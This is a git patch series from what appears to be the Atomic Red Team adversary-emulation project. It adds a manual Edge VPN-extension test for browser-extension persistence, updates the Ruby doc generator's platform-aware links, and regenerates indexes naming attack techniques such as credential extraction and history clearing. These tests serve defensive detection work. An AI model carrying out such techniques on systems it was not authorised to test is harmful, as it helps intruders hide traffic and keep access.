From bbec07bcd623300564b9fcfbf0eca8068b4525f1 Mon Sep 17 00:00:00 2001 From: Tsora-Pop <35981510+Tsora-Pop@users.noreply.github.com> Date: Mon, 11 May 2020 10:16:17 -0500 Subject: [PATCH 01/16] Update T1176 with Edge Chromium Addon - VPN (#980) * Update T1176 with Edge Chromium Addon - VPN Added manual download, install, and cleanup for an Edge Chromium VPN extension. * Update T1176 with Edge Chromium Addon - VPN Added manual download, install, and cleanup for an Edge Chromium VPN extension. --- atomics/T1176/T1176.yaml | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) diff --git a/atomics/T1176/T1176.yaml b/atomics/T1176/T1176.yaml index 1e3f6366..be892a1e 100644 --- a/atomics/T1176/T1176.yaml +++ b/atomics/T1176/T1176.yaml @@ -52,3 +52,23 @@ atomic_tests: 2. Navigate to [manifest.json](./src/manifest.json) 3. Then click 'Open' + +- name: Edge Chromium Addon - VPN + description: | + Adversaries may use VPN extensions in an attempt to hide traffic sent from a compromised host. This will install one (of many) available VPNS in the Edge add-on store. + supported_platforms: + - windows + - macos + executor: + name: manual + steps: | + 1. Navigate to https://microsoftedge.microsoft.com/addons/detail/fjnehcbecaggobjholekjijaaekbnlgj + in Edge Chromium + + 2. Click 'Get' + cleanup: + 1. Navigate to "..." menu in top right of browser and select. + + 2. In drop down, click on "Extensions". + + 3. Remove the Extension. From e5166f0e6672bb9cd57734580dd018b155c73daa Mon Sep 17 00:00:00 2001 From: CircleCI Atomic Red Team doc generator Date: Mon, 11 May 2020 15:16:44 +0000 Subject: [PATCH 02/16] Generate docs from job=validate_atomics_generate_docs branch=master --- atomics/Indexes/Indexes-CSV/index.csv | 1 + atomics/Indexes/Indexes-CSV/macos-index.csv | 1 + atomics/Indexes/Indexes-CSV/windows-index.csv | 1 + atomics/Indexes/Indexes-Markdown/index.md | 1 + .../Indexes/Indexes-Markdown/macos-index.md | 1 + .../Indexes/Indexes-Markdown/windows-index.md | 1 + atomics/Indexes/index.yaml | 20 +++++++++++++++ atomics/T1176/T1176.md | 25 +++++++++++++++++++ 8 files changed, 51 insertions(+) diff --git a/atomics/Indexes/Indexes-CSV/index.csv b/atomics/Indexes/Indexes-CSV/index.csv index 15aa8804..edd6b721 100644 --- a/atomics/Indexes/Indexes-CSV/index.csv +++ b/atomics/Indexes/Indexes-CSV/index.csv @@ -13,6 +13,7 @@ persistence,T1197,BITS Jobs,3,"Persist, Download, & Execute" persistence,T1176,Browser Extensions,1,Chrome (Developer Mode) persistence,T1176,Browser Extensions,2,Chrome (Chrome Web Store) persistence,T1176,Browser Extensions,3,Firefox +persistence,T1176,Browser Extensions,4,Edge Chromium Addon - VPN persistence,T1042,Change Default File Association,1,Change Default File Association persistence,T1122,Component Object Model Hijacking,1,COM Hijack Leveraging user scope COR_PROFILER persistence,T1122,Component Object Model Hijacking,2,COM Hijack Leveraging System Scope COR_PROFILER diff --git a/atomics/Indexes/Indexes-CSV/macos-index.csv b/atomics/Indexes/Indexes-CSV/macos-index.csv index db698cce..8f5572c6 100644 --- a/atomics/Indexes/Indexes-CSV/macos-index.csv +++ b/atomics/Indexes/Indexes-CSV/macos-index.csv @@ -4,6 +4,7 @@ persistence,T1156,.bash_profile and .bashrc,2,Add command to .bashrc persistence,T1176,Browser Extensions,1,Chrome (Developer Mode) persistence,T1176,Browser Extensions,2,Chrome (Chrome Web Store) persistence,T1176,Browser Extensions,3,Firefox +persistence,T1176,Browser Extensions,4,Edge Chromium Addon - VPN persistence,T1136,Create Account,2,Create a user account on a MacOS system persistence,T1519,Emond,1,Persistance with Event Monitor - emond persistence,T1158,Hidden Files and Directories,1,Create a hidden file in a hidden directory diff --git a/atomics/Indexes/Indexes-CSV/windows-index.csv b/atomics/Indexes/Indexes-CSV/windows-index.csv index 55498cb1..a3a9bcbd 100644 --- a/atomics/Indexes/Indexes-CSV/windows-index.csv +++ b/atomics/Indexes/Indexes-CSV/windows-index.csv @@ -170,6 +170,7 @@ persistence,T1197,BITS Jobs,3,"Persist, Download, & Execute" persistence,T1176,Browser Extensions,1,Chrome (Developer Mode) persistence,T1176,Browser Extensions,2,Chrome (Chrome Web Store) persistence,T1176,Browser Extensions,3,Firefox +persistence,T1176,Browser Extensions,4,Edge Chromium Addon - VPN persistence,T1042,Change Default File Association,1,Change Default File Association persistence,T1122,Component Object Model Hijacking,1,COM Hijack Leveraging user scope COR_PROFILER persistence,T1122,Component Object Model Hijacking,2,COM Hijack Leveraging System Scope COR_PROFILER diff --git a/atomics/Indexes/Indexes-Markdown/index.md b/atomics/Indexes/Indexes-Markdown/index.md index c54906b6..904ddb0f 100644 --- a/atomics/Indexes/Indexes-Markdown/index.md +++ b/atomics/Indexes/Indexes-Markdown/index.md @@ -24,6 +24,7 @@ - Atomic Test #1: Chrome (Developer Mode) [linux, windows, macos] - Atomic Test #2: Chrome (Chrome Web Store) [linux, windows, macos] - Atomic Test #3: Firefox [linux, windows, macos] + - Atomic Test #4: Edge Chromium Addon - VPN [windows, macos] - [T1042 Change Default File Association](../../T1042/T1042.md) - Atomic Test #1: Change Default File Association [windows] - T1109 Component Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) diff --git a/atomics/Indexes/Indexes-Markdown/macos-index.md b/atomics/Indexes/Indexes-Markdown/macos-index.md index c015b6ec..30fca16d 100644 --- a/atomics/Indexes/Indexes-Markdown/macos-index.md +++ b/atomics/Indexes/Indexes-Markdown/macos-index.md @@ -7,6 +7,7 @@ - Atomic Test #1: Chrome (Developer Mode) [linux, windows, macos] - Atomic Test #2: Chrome (Chrome Web Store) [linux, windows, macos] - Atomic Test #3: Firefox [linux, windows, macos] + - Atomic Test #4: Edge Chromium Addon - VPN [windows, macos] - [T1136 Create Account](../../T1136/T1136.md) - Atomic Test #2: Create a user account on a MacOS system [macos] - T1157 Dylib Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) diff --git a/atomics/Indexes/Indexes-Markdown/windows-index.md b/atomics/Indexes/Indexes-Markdown/windows-index.md index 45f41ede..595eae94 100644 --- a/atomics/Indexes/Indexes-Markdown/windows-index.md +++ b/atomics/Indexes/Indexes-Markdown/windows-index.md @@ -267,6 +267,7 @@ - Atomic Test #1: Chrome (Developer Mode) [linux, windows, macos] - Atomic Test #2: Chrome (Chrome Web Store) [linux, windows, macos] - Atomic Test #3: Firefox [linux, windows, macos] + - Atomic Test #4: Edge Chromium Addon - VPN [windows, macos] - [T1042 Change Default File Association](../../T1042/T1042.md) - Atomic Test #1: Change Default File Association [windows] - T1109 Component Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) diff --git a/atomics/Indexes/index.yaml b/atomics/Indexes/index.yaml index 5bff2d9a..37def328 100644 --- a/atomics/Indexes/index.yaml +++ b/atomics/Indexes/index.yaml @@ -1005,6 +1005,26 @@ persistence: 2. Navigate to [manifest.json](./src/manifest.json) 3. Then click 'Open' + - name: Edge Chromium Addon - VPN + description: 'Adversaries may use VPN extensions in an attempt to hide traffic + sent from a compromised host. This will install one (of many) available VPNS + in the Edge add-on store. + +' + supported_platforms: + - windows + - macos + executor: + name: manual + steps: | + 1. Navigate to https://microsoftedge.microsoft.com/addons/detail/fjnehcbecaggobjholekjijaaekbnlgj + in Edge Chromium + + 2. Click 'Get' + cleanup: |- + 1. Navigate to "..." menu in top right of browser and select. + 2. In drop down, click on "Extensions". + 3. Remove the Extension. T1042: technique: x_mitre_data_sources: diff --git a/atomics/T1176/T1176.md b/atomics/T1176/T1176.md index dbc5e53a..80266793 100644 --- a/atomics/T1176/T1176.md +++ b/atomics/T1176/T1176.md @@ -12,6 +12,8 @@ Malicious extensions can be installed into a browser through malicious app store - [Atomic Test #3 - Firefox](#atomic-test-3---firefox) +- [Atomic Test #4 - Edge Chromium Addon - VPN](#atomic-test-4---edge-chromium-addon---vpn) +
@@ -84,4 +86,27 @@ click "Load Temporary Add-on" +
+
+ +## Atomic Test #4 - Edge Chromium Addon - VPN +Adversaries may use VPN extensions in an attempt to hide traffic sent from a compromised host. This will install one (of many) available VPNS in the Edge add-on store. + +**Supported Platforms:** Windows, macOS + + + + +#### Run it with these steps! +1. Navigate to https://microsoftedge.microsoft.com/addons/detail/fjnehcbecaggobjholekjijaaekbnlgj +in Edge Chromium + +2. Click 'Get' + + + + + + +
From c17dbab6e8168e7521d6fe37e5e463ab3fefaa7d Mon Sep 17 00:00:00 2001 From: Carrie Roberts Date: Mon, 11 May 2020 13:15:27 -0600 Subject: [PATCH 03/16] Update links on Indexes (#983) * index update * index update --- atomic_red_team/atomic_red_team.rb | 24 ++++++++++++++++++++---- bin/generate-atomic-docs.rb | 4 ++-- 2 files changed, 22 insertions(+), 6 deletions(-) diff --git a/atomic_red_team/atomic_red_team.rb b/atomic_red_team/atomic_red_team.rb index 70cb156a..5489f830 100755 --- a/atomic_red_team/atomic_red_team.rb +++ b/atomic_red_team/atomic_red_team.rb @@ -46,21 +46,37 @@ class AtomicRedTeam # # Returns a Markdown formatted Github link to a technique. This will be to the edit page for # techniques that already have one or more Atomic Red Team tests, or the create page for - # techniques that have no existing tests. + # techniques that have no existing tests for the given OS. # - def github_link_to_technique(technique, include_identifier: false, link_new_to_contrib: true) + def github_link_to_technique(technique, include_identifier: false, only_platform: only_platform) technique_identifier = ATTACK_API.technique_identifier_for_technique(technique).upcase link_display = "#{"#{technique_identifier.upcase} " if include_identifier}#{technique['name']}" + yaml_file = "#{ATOMICS_DIRECTORY}/#{technique_identifier}/#{technique_identifier}.yaml" + markdown_file = "#{ATOMICS_DIRECTORY}/#{technique_identifier}/#{technique_identifier}.md" - if File.exists? "#{ATOMICS_DIRECTORY}/#{technique_identifier}/#{technique_identifier}.md" + if atomic_yaml_has_test_for_platform(yaml_file, only_platform) && (File.exists? markdown_file) # we have a file for this technique, so link to it's Markdown file "[#{link_display}](../../#{technique_identifier}/#{technique_identifier}.md)" else - # we don't have a file for this technique, so link to an edit page + # we don't have a file for this technique, or there are not tests for the given platform, so link to an edit page "#{link_display} [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)" end end + def atomic_yaml_has_test_for_platform(yaml_file, only_platform) + has_test_for_platform = false + if File.exists? yaml_file + yaml = YAML.load_file(yaml_file) + yaml['atomic_tests'].each_with_index do |atomic, i| + if atomic["supported_platforms"].any? {|platform| platform.downcase =~ only_platform} + has_test_for_platform = true + break + end + end + end + return has_test_for_platform + end + def validate_atomic_yaml!(yaml) raise("YAML file has no elements") if yaml.nil? diff --git a/bin/generate-atomic-docs.rb b/bin/generate-atomic-docs.rb index 2d2e6137..6431d3e1 100755 --- a/bin/generate-atomic-docs.rb +++ b/bin/generate-atomic-docs.rb @@ -100,7 +100,7 @@ class AtomicRedTeamDocs ATTACK_API.ordered_tactic_to_technique_matrix(only_platform: only_platform).each do |row_of_techniques| row_values = row_of_techniques.collect do |technique| if technique - ATOMIC_RED_TEAM.github_link_to_technique(technique, include_identifier: false, link_new_to_contrib: false) + ATOMIC_RED_TEAM.github_link_to_technique(technique, include_identifier: false, only_platform: only_platform) end end result += "| #{row_values.join(' | ')} |\n" @@ -120,7 +120,7 @@ class AtomicRedTeamDocs ATTACK_API.techniques_by_tactic(only_platform: only_platform).each do |tactic, techniques| result += "# #{tactic}\n" techniques.each do |technique| - result += "- #{ATOMIC_RED_TEAM.github_link_to_technique(technique, include_identifier: true, link_new_to_contrib: true)}\n" + result += "- #{ATOMIC_RED_TEAM.github_link_to_technique(technique, include_identifier: true, only_platform: only_platform)}\n" ATOMIC_RED_TEAM.atomic_tests_for_technique(technique).each_with_index do |atomic_test, i| next unless atomic_test['supported_platforms'].any? {|platform| platform.downcase =~ only_platform} From 6f757a1f8833c6e750f821d84240c84ce06ce0ea Mon Sep 17 00:00:00 2001 From: CircleCI Atomic Red Team doc generator Date: Mon, 11 May 2020 19:16:06 +0000 Subject: [PATCH 04/16] Generate docs from job=validate_atomics_generate_docs branch=master --- .../Indexes/Indexes-Markdown/linux-index.md | 56 +++++++++---------- .../Indexes/Indexes-Markdown/macos-index.md | 54 +++++++++--------- .../Indexes/Indexes-Markdown/windows-index.md | 18 +++--- atomics/Indexes/Matrices/linux-matrix.md | 34 +++++------ atomics/Indexes/Matrices/macos-matrix.md | 38 ++++++------- atomics/Indexes/Matrices/windows-matrix.md | 14 ++--- 6 files changed, 107 insertions(+), 107 deletions(-) diff --git a/atomics/Indexes/Indexes-Markdown/linux-index.md b/atomics/Indexes/Indexes-Markdown/linux-index.md index e4988db8..5e5e971f 100644 --- a/atomics/Indexes/Indexes-Markdown/linux-index.md +++ b/atomics/Indexes/Indexes-Markdown/linux-index.md @@ -3,7 +3,7 @@ - [T1156 .bash_profile and .bashrc](../../T1156/T1156.md) - Atomic Test #1: Add command to .bash_profile [macos, linux] - Atomic Test #2: Add command to .bashrc [macos, linux] -- [T1098 Account Manipulation](../../T1098/T1098.md) +- T1098 Account Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1067 Bootkit [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1176 Browser Extensions](../../T1176/T1176.md) - Atomic Test #1: Chrome (Developer Mode) [linux, windows, macos] @@ -21,10 +21,10 @@ - Atomic Test #1: Cron - Replace crontab with referenced file [macos, linux] - Atomic Test #2: Cron - Add script to cron folder [macos, linux] - Atomic Test #3: Event Monitor Daemon Persistence [macos, linux] -- [T1137 Office Application Startup](../../T1137/T1137.md) +- T1137 Office Application Startup [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1205 Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1108 Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- [T1505 Server Software Component](../../T1505/T1505.md) +- T1505 Server Software Component [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1166 Setuid and Setgid](../../T1166/T1166.md) - Atomic Test #1: Make and modify binary from C source [macos, linux] - Atomic Test #2: Set a SetUID flag on file [macos, linux] @@ -34,10 +34,10 @@ - [T1154 Trap](../../T1154/T1154.md) - Atomic Test #1: Trap [macos, linux] - T1078 Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- [T1100 Web Shell](../../T1100/T1100.md) +- T1100 Web Shell [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) # impact -- [T1531 Account Access Removal](../../T1531/T1531.md) +- T1531 Account Access Removal [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1485 Data Destruction](../../T1485/T1485.md) - Atomic Test #2: macOS/Linux - Overwrite file with DD [linux, macos] - T1486 Data Encrypted for Impact [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) @@ -46,7 +46,7 @@ - T1487 Disk Structure Wipe [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1499 Endpoint Denial of Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1495 Firmware Corruption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- [T1490 Inhibit System Recovery](../../T1490/T1490.md) +- T1490 Inhibit System Recovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1498 Network Denial of Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1496 Resource Hijacking](../../T1496/T1496.md) - Atomic Test #1: macOS/Linux - Simulate CPU Load with Yes [macos, linux] @@ -96,7 +96,7 @@ - [T1018 Remote System Discovery](../../T1018/T1018.md) - Atomic Test #6: Remote System Discovery - arp nix [linux, macos] - Atomic Test #7: Remote System Discovery - sweep [linux, macos] -- [T1518 Software Discovery](../../T1518/T1518.md) +- T1518 Software Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1082 System Information Discovery](../../T1082/T1082.md) - Atomic Test #3: List OS Information [linux, macos] - Atomic Test #4: Linux VM Check via Hardware [linux] @@ -110,17 +110,17 @@ - Atomic Test #2: System Owner/User Discovery [linux, macos] # credential-access -- [T1098 Account Manipulation](../../T1098/T1098.md) +- T1098 Account Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1139 Bash History](../../T1139/T1139.md) - Atomic Test #1: Search Through Bash History [linux, macos] -- [T1110 Brute Force](../../T1110/T1110.md) +- T1110 Brute Force [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1522 Cloud Instance Metadata API [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- [T1003 Credential Dumping](../../T1003/T1003.md) +- T1003 Credential Dumping [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1503 Credentials from Web Browsers [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1081 Credentials in Files](../../T1081/T1081.md) - Atomic Test #2: Extract passwords with grep [macos, linux] - T1212 Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- [T1056 Input Capture](../../T1056/T1056.md) +- T1056 Input Capture [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1040 Network Sniffing](../../T1040/T1040.md) - Atomic Test #1: Packet Capture Linux [linux] - [T1145 Private Keys](../../T1145/T1145.md) @@ -142,7 +142,7 @@ - Atomic Test #4: Clear Bash history (ln dev/null) [linux, macos] - Atomic Test #5: Clear Bash history (truncate) [linux] - Atomic Test #6: Clear history of a bunch of shells [linux, macos] -- [T1500 Compile After Delivery](../../T1500/T1500.md) +- T1500 Compile After Delivery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1090 Connection Proxy](../../T1090/T1090.md) - Atomic Test #1: Connection Proxy [macos, linux] - [T1089 Disabling Security Tools](../../T1089/T1089.md) @@ -196,7 +196,7 @@ - Atomic Test #2: Loadable Kernel Module based Rootkit [linux] - [T1064 Scripting](../../T1064/T1064.md) - Atomic Test #1: Create and Execute Bash Shell Script [macos, linux] -- [T1151 Space after Filename](../../T1151/T1151.md) +- T1151 Space after Filename [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1099 Timestomp](../../T1099/T1099.md) - Atomic Test #1: Set a file's access timestamp [linux, macos] - Atomic Test #2: Set a file's modification timestamp [linux, macos] @@ -204,7 +204,7 @@ - Atomic Test #4: Modify file timestamps using reference file [linux, macos] - T1535 Unused/Unsupported Cloud Regions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1078 Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- [T1102 Web Service](../../T1102/T1102.md) +- T1102 Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1506 Web Session Cookie [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) # lateral-movement @@ -225,18 +225,18 @@ - T1506 Web Session Cookie [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) # collection -- [T1123 Audio Capture](../../T1123/T1123.md) -- [T1119 Automated Collection](../../T1119/T1119.md) -- [T1115 Clipboard Data](../../T1115/T1115.md) +- T1123 Audio Capture [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1119 Automated Collection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1115 Clipboard Data [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1074 Data Staged](../../T1074/T1074.md) - Atomic Test #2: Stage data from Discovery.sh [linux, macos] - T1530 Data from Cloud Storage Object [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1213 Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- [T1005 Data from Local System](../../T1005/T1005.md) +- T1005 Data from Local System [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1039 Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1025 Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- [T1114 Email Collection](../../T1114/T1114.md) -- [T1056 Input Capture](../../T1056/T1056.md) +- T1114 Email Collection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1056 Input Capture [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1113 Screen Capture](../../T1113/T1113.md) - Atomic Test #3: X Windows Capture [linux] - Atomic Test #4: Import [linux] @@ -276,11 +276,11 @@ - [T1153 Source](../../T1153/T1153.md) - Atomic Test #1: Execute Script using Source [macos, linux] - Atomic Test #2: Execute Script using Source Alias [macos, linux] -- [T1151 Space after Filename](../../T1151/T1151.md) +- T1151 Space after Filename [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1072 Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1154 Trap](../../T1154/T1154.md) - Atomic Test #1: Trap [macos, linux] -- [T1204 User Execution](../../T1204/T1204.md) +- T1204 User Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) # command-and-control - T1043 Commonly Used Port [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) @@ -300,7 +300,7 @@ - T1026 Multiband Communication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1079 Multilayer Encryption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1205 Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- [T1219 Remote Access Tools](../../T1219/T1219.md) +- T1219 Remote Access Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1105 Remote File Copy](../../T1105/T1105.md) - Atomic Test #1: rsync remote file copy (push) [linux, macos] - Atomic Test #2: rsync remote file copy (pull) [linux, macos] @@ -310,17 +310,17 @@ - Atomic Test #6: sftp remote file copy (pull) [linux, macos] - [T1071 Standard Application Layer Protocol](../../T1071/T1071.md) - Atomic Test #3: Malicious User Agents - Nix [linux, macos] -- [T1032 Standard Cryptographic Protocol](../../T1032/T1032.md) -- [T1095 Standard Non-Application Layer Protocol](../../T1095/T1095.md) +- T1032 Standard Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1095 Standard Non-Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1065 Uncommonly Used Port](../../T1065/T1065.md) - Atomic Test #2: Testing usage of uncommonly used port [linux, macos] -- [T1102 Web Service](../../T1102/T1102.md) +- T1102 Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) # initial-access - T1189 Drive-by Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1190 Exploit Public-Facing Application [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1200 Hardware Additions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- [T1193 Spearphishing Attachment](../../T1193/T1193.md) +- T1193 Spearphishing Attachment [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1192 Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1194 Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1195 Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) @@ -342,5 +342,5 @@ - Atomic Test #1: Unlimited sudo cache timeout [macos, linux] - Atomic Test #2: Disable tty_tickets for sudo caching [macos, linux] - T1078 Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- [T1100 Web Shell](../../T1100/T1100.md) +- T1100 Web Shell [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) diff --git a/atomics/Indexes/Indexes-Markdown/macos-index.md b/atomics/Indexes/Indexes-Markdown/macos-index.md index 30fca16d..b8b4ae8d 100644 --- a/atomics/Indexes/Indexes-Markdown/macos-index.md +++ b/atomics/Indexes/Indexes-Markdown/macos-index.md @@ -19,7 +19,7 @@ - Atomic Test #5: Hidden files [macos] - Atomic Test #6: Hide a Directory [macos] - Atomic Test #7: Show all hidden files [macos] -- [T1215 Kernel Modules and Extensions](../../T1215/T1215.md) +- T1215 Kernel Modules and Extensions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1161 LC_LOAD_DYLIB Addition [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1159 Launch Agent](../../T1159/T1159.md) - Atomic Test #1: Launch Agent [macos] @@ -52,10 +52,10 @@ - [T1154 Trap](../../T1154/T1154.md) - Atomic Test #1: Trap [macos, linux] - T1078 Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- [T1100 Web Shell](../../T1100/T1100.md) +- T1100 Web Shell [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) # impact -- [T1531 Account Access Removal](../../T1531/T1531.md) +- T1531 Account Access Removal [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1485 Data Destruction](../../T1485/T1485.md) - Atomic Test #2: macOS/Linux - Overwrite file with DD [linux, macos] - T1486 Data Encrypted for Impact [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) @@ -64,7 +64,7 @@ - T1487 Disk Structure Wipe [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1499 Endpoint Denial of Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1495 Firmware Corruption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- [T1490 Inhibit System Recovery](../../T1490/T1490.md) +- T1490 Inhibit System Recovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1498 Network Denial of Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1496 Resource Hijacking](../../T1496/T1496.md) - Atomic Test #1: macOS/Linux - Simulate CPU Load with Yes [macos, linux] @@ -84,7 +84,7 @@ - Atomic Test #4: List opened files by user [linux, macos] - Atomic Test #6: Enumerate users and groups [linux, macos] - Atomic Test #7: Enumerate users and groups [macos] -- [T1010 Application Window Discovery](../../T1010/T1010.md) +- T1010 Application Window Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1217 Browser Bookmark Discovery](../../T1217/T1217.md) - Atomic Test #2: List Mozilla Firefox Bookmark Database Files on macOS [macos] - Atomic Test #3: List Google Chrome Bookmark JSON Files on macOS [macos] @@ -110,7 +110,7 @@ - Atomic Test #7: Remote System Discovery - sweep [linux, macos] - [T1063 Security Software Discovery](../../T1063/T1063.md) - Atomic Test #3: Security Software Discovery - ps [linux, macos] -- [T1518 Software Discovery](../../T1518/T1518.md) +- T1518 Software Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1082 System Information Discovery](../../T1082/T1082.md) - Atomic Test #2: System Information Discovery [macos] - Atomic Test #3: List OS Information [linux, macos] @@ -146,7 +146,7 @@ - T1072 Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1154 Trap](../../T1154/T1154.md) - Atomic Test #1: Trap [macos, linux] -- [T1204 User Execution](../../T1204/T1204.md) +- T1204 User Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) # lateral-movement - [T1155 AppleScript](../../T1155/T1155.md) @@ -168,9 +168,9 @@ - T1072 Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) # collection -- [T1123 Audio Capture](../../T1123/T1123.md) -- [T1119 Automated Collection](../../T1119/T1119.md) -- [T1115 Clipboard Data](../../T1115/T1115.md) +- T1123 Audio Capture [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1119 Automated Collection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1115 Clipboard Data [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1074 Data Staged](../../T1074/T1074.md) - Atomic Test #2: Stage data from Discovery.sh [linux, macos] - T1213 Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) @@ -178,7 +178,7 @@ - Atomic Test #1: Search macOS Safari Cookies [macos] - T1039 Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1025 Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- [T1056 Input Capture](../../T1056/T1056.md) +- T1056 Input Capture [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1113 Screen Capture](../../T1113/T1113.md) - Atomic Test #1: Screencapture [macos] - Atomic Test #2: Screencapture (silent) [macos] @@ -206,14 +206,14 @@ # credential-access - [T1139 Bash History](../../T1139/T1139.md) - Atomic Test #1: Search Through Bash History [linux, macos] -- [T1110 Brute Force](../../T1110/T1110.md) -- [T1003 Credential Dumping](../../T1003/T1003.md) +- T1110 Brute Force [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1003 Credential Dumping [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1503 Credentials from Web Browsers [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1081 Credentials in Files](../../T1081/T1081.md) - Atomic Test #1: Extract Browser and System credentials with LaZagne [macos] - Atomic Test #2: Extract passwords with grep [macos, linux] - T1212 Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- [T1056 Input Capture](../../T1056/T1056.md) +- T1056 Input Capture [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1141 Input Prompt](../../T1141/T1141.md) - Atomic Test #1: AppleScript - Prompt User for Password [macos] - [T1142 Keychain](../../T1142/T1142.md) @@ -237,7 +237,7 @@ - Atomic Test #4: Clear Bash history (ln dev/null) [linux, macos] - Atomic Test #6: Clear history of a bunch of shells [linux, macos] - T1116 Code Signing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- [T1500 Compile After Delivery](../../T1500/T1500.md) +- T1500 Compile After Delivery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1090 Connection Proxy](../../T1090/T1090.md) - Atomic Test #1: Connection Proxy [macos, linux] - [T1089 Disabling Security Tools](../../T1089/T1089.md) @@ -273,7 +273,7 @@ - Atomic Test #7: Show all hidden files [macos] - [T1147 Hidden Users](../../T1147/T1147.md) - Atomic Test #1: Hidden Users [macos] -- [T1143 Hidden Window](../../T1143/T1143.md) +- T1143 Hidden Window 